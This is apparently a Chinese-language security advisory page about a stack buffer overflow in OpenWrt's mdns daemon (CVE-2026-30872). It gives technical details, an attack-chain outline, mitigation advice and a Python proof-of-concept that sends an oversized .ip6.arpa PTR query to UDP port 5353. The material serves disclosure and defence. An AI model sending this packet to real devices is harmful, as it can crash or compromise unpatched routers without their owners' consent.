IPBUF安全漏洞报告
English
CVE-2026-30872 CVSS 9.8 严重

CVE-2026-30872 OpenWrt mdns栈缓冲区溢出漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-30872
漏洞类型
栈缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenWrt Project

相关标签

栈缓冲区溢出远程代码执行OpenWrtmdnsRCE

漏洞概述

OpenWrt Project的mdns守护进程存在栈缓冲区溢出漏洞。攻击者可通过UDP 5353端口发送特制的IPv6反向DNS查询,利用match_ipv6_addresses函数中未验证长度的缺陷,导致栈溢出并可能实现远程代码执行。该漏洞影响24.10.6和25.12.1之前的版本。

技术细节

该漏洞源于OpenWrt mdns守护进程在处理IPv6反向DNS查询时的安全缺陷。具体而言,当通过UDP 5353端口接收到针对.ip6.arpa域的PTR查询时,match_ipv6_addresses函数会被调用。该函数首先利用strcpy将域名从name_buffer复制到256字节的栈缓冲区中,紧接着尝试将反向IPv6请求解析并提取到一个仅有46字节(INET6_ADDRSTRLEN)的固定大小缓冲区内。关键的安全疏漏在于,程序在执行提取操作前,完全未对输入数据的长度进行边界检查。因此,远程攻击者可以精心构造一个长度超过46字节的特制DNS查询包发送至目标设备。这将导致数据写入时超出预设缓冲区边界,引发栈缓冲区溢出。通过控制溢出的数据,攻击者能够覆盖栈上的关键内存结构(如返回地址),进而改变程序执行流,最终在目标系统上实现远程代码执行。

攻击链分析

STEP 1
侦察
攻击者扫描网络,寻找开放UDP 5353端口并运行受影响版本OpenWrt的设备。
STEP 2
武器化
攻击者构造特制的DNS PTR查询包,其中包含超长的IPv6反向域名,旨在触发match_ipv6_addresses函数中的栈溢出。
STEP 3
投递
攻击者通过UDP协议将恶意数据包发送到目标设备的5353端口。
STEP 4
利用
目标设备的mdns守护进程处理该数据包,由于未校验长度,导致发生栈缓冲区溢出,覆盖返回地址。
STEP 5
安装与执行
程序流程被劫持,攻击者注入的Shellcode被执行,从而在目标设备上获得远程控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-30872 # Sends a crafted mDNS PTR query to trigger buffer overflow in OpenWrt mdns def send_exploit(target_ip, target_port): # DNS Header: Transaction ID=0, Flags=0 (Standard query), Questions=1 header = b'\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00' # Malicious Query Name (PTR) # Constructing a long .ip6.arpa query to exceed the 46-byte buffer # Format: [len][label].[len][label]...ip6.arpa # We create a long sequence of hex nibbles to trigger the overflow overflow_len = 100 # Long enough to exceed 46 bytes # Building the QNAME part (simplified representation of a long IPv6 reverse) # Each '1' represents a hex nibble in the reverse address qname_parts = [b'\x01' + b'1' for _ in range(overflow_len)] qname = b''.join(qname_parts) + b'\x03ip6\x04arpa\x00' # Question Type: PTR (12), Class: IN (1) qtail = b'\x00\x0c\x00\x01' packet = header + qname + qtail try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Target mDNS multicast address or specific device IP target = "224.0.0.251" port = 5353 send_exploit(target, port)

影响范围

OpenWrt Project < 24.10.6
OpenWrt Project < 25.12.1

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙中阻断UDP端口5353的入站流量,或者临时禁用OpenWrt设备上的mdns服务,以防止被远程攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表